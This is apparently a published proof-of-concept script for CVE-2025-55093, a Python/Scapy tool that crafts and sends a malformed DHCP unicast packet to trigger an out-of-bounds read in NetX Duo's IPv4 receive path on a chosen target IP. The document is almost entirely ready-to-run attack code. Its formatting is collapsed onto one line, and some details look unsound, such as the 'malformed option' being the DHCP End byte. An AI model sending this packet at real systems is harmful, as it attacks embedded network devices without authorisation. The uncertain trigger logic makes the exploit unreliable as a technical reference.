CVE-2025-55093 NetX Duo IPv4数据包接收越界读取漏洞

# CVE-2025-55093 PoC - NetX Duo _nx_ipv4_packet_receive() OOB Read # This PoC demonstrates the out-of-bounds read vulnerability in NetX Duo's # IPv4 packet receive function when handling unicast DHCP messages. # # The vulnerability can be triggered by sending a crafted DHCP unicast packet # that causes _nx_ipv4_packet_receive() to read beyond buffer boundaries, # resulting in 4 bytes of memory corruption. from scapy.all import * import socket import struct def craft_dhcp_unicast_packet(target_ip, target_port=68): """ Craft a malicious DHCP unicast packet to trigger OOB read in _nx_ipv4_packet_receive() """ # Construct a malformed DHCP packet with crafted fields # that trigger the out-of-bounds read condition # Ethernet layer (optional, depends on network setup) eth = Ether(dst="ff:ff:ff:ff:ff:ff") # IP layer with crafted header to trigger OOB ip = IP( dst=target_ip, src="192.168.1.100", proto=17 # UDP ) # UDP layer targeting DHCP client port udp = UDP( sport=67, # DHCP server port dport=target_port # DHCP client port ) # DHCP payload with malformed fields # The malformed DHCP options trigger the OOB read in # _nx_ipv4_packet_receive() when processing unicast DHCP dhcp_payload = b'\x02' # DHCP Reply (BOOTREPLY) dhcp_payload += b'\x01' # Hardware type: Ethernet dhcp_payload += b'\x06' # Hardware address length dhcp_payload += b'\x00' # Hops dhcp_payload += b'\x00\x01\x51\x80' # Transaction ID dhcp_payload += b'\x00\x00' # Seconds elapsed dhcp_payload += b'\x00\x00' # Bootp flags dhcp_payload += socket.inet_aton("192.168.1.1") # Client IP dhcp_payload += socket.inet_aton(target_ip) # Your IP dhcp_payload += socket.inet_aton("192.168.1.1") # Server IP dhcp_payload += socket.inet_aton("0.0.0.0") # Gateway IP dhcp_payload += b'\x00\x1a\x2b\x3c\x4d\x5e' # Client MAC dhcp_payload += b'\x00' * 202 # Bootp legacy padding dhcp_payload += b'\x63\x82\x53\x63' # DHCP magic cookie # Crafted DHCP options to trigger OOB read # Option 53: DHCP Message Type = ACK (unicast) dhcp_payload += b'\x35\x01\x05' # Option 54: Server Identifier dhcp_payload += b'\x36\x04' + socket.inet_aton("192.168.1.1") # Malformed option with length that causes OOB read # This crafted option length triggers the 4-byte OOB read dhcp_payload += b'\xff\xff' # Malformed option causing boundary violation dhcp_payload += b'\x00' * 10 # Padding # End option dhcp_payload += b'\xff' # Assemble the full packet packet = eth / ip / udp / Raw(load=dhcp_payload) return packet def send_exploit(target_ip): """ Send the crafted DHCP unicast packet to trigger the vulnerability """ print(f"[*] Crafting malicious DHCP unicast packet for {target_ip}") packet = craft_dhcp_unicast_packet(target_ip) print(f"[*] Sending exploit packet...") try: sendp(packet, verbose=True) print(f"[+] Packet sent successfully") print(f"[!] Target {target_ip} may be vulnerable to CVE-2025-55093") except Exception as e: print(f"[-] Error sending packet: {e}") if __name__ == "__main__": import sys if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} <target_ip>") sys.exit(1) target = sys.argv[1] send_exploit(target)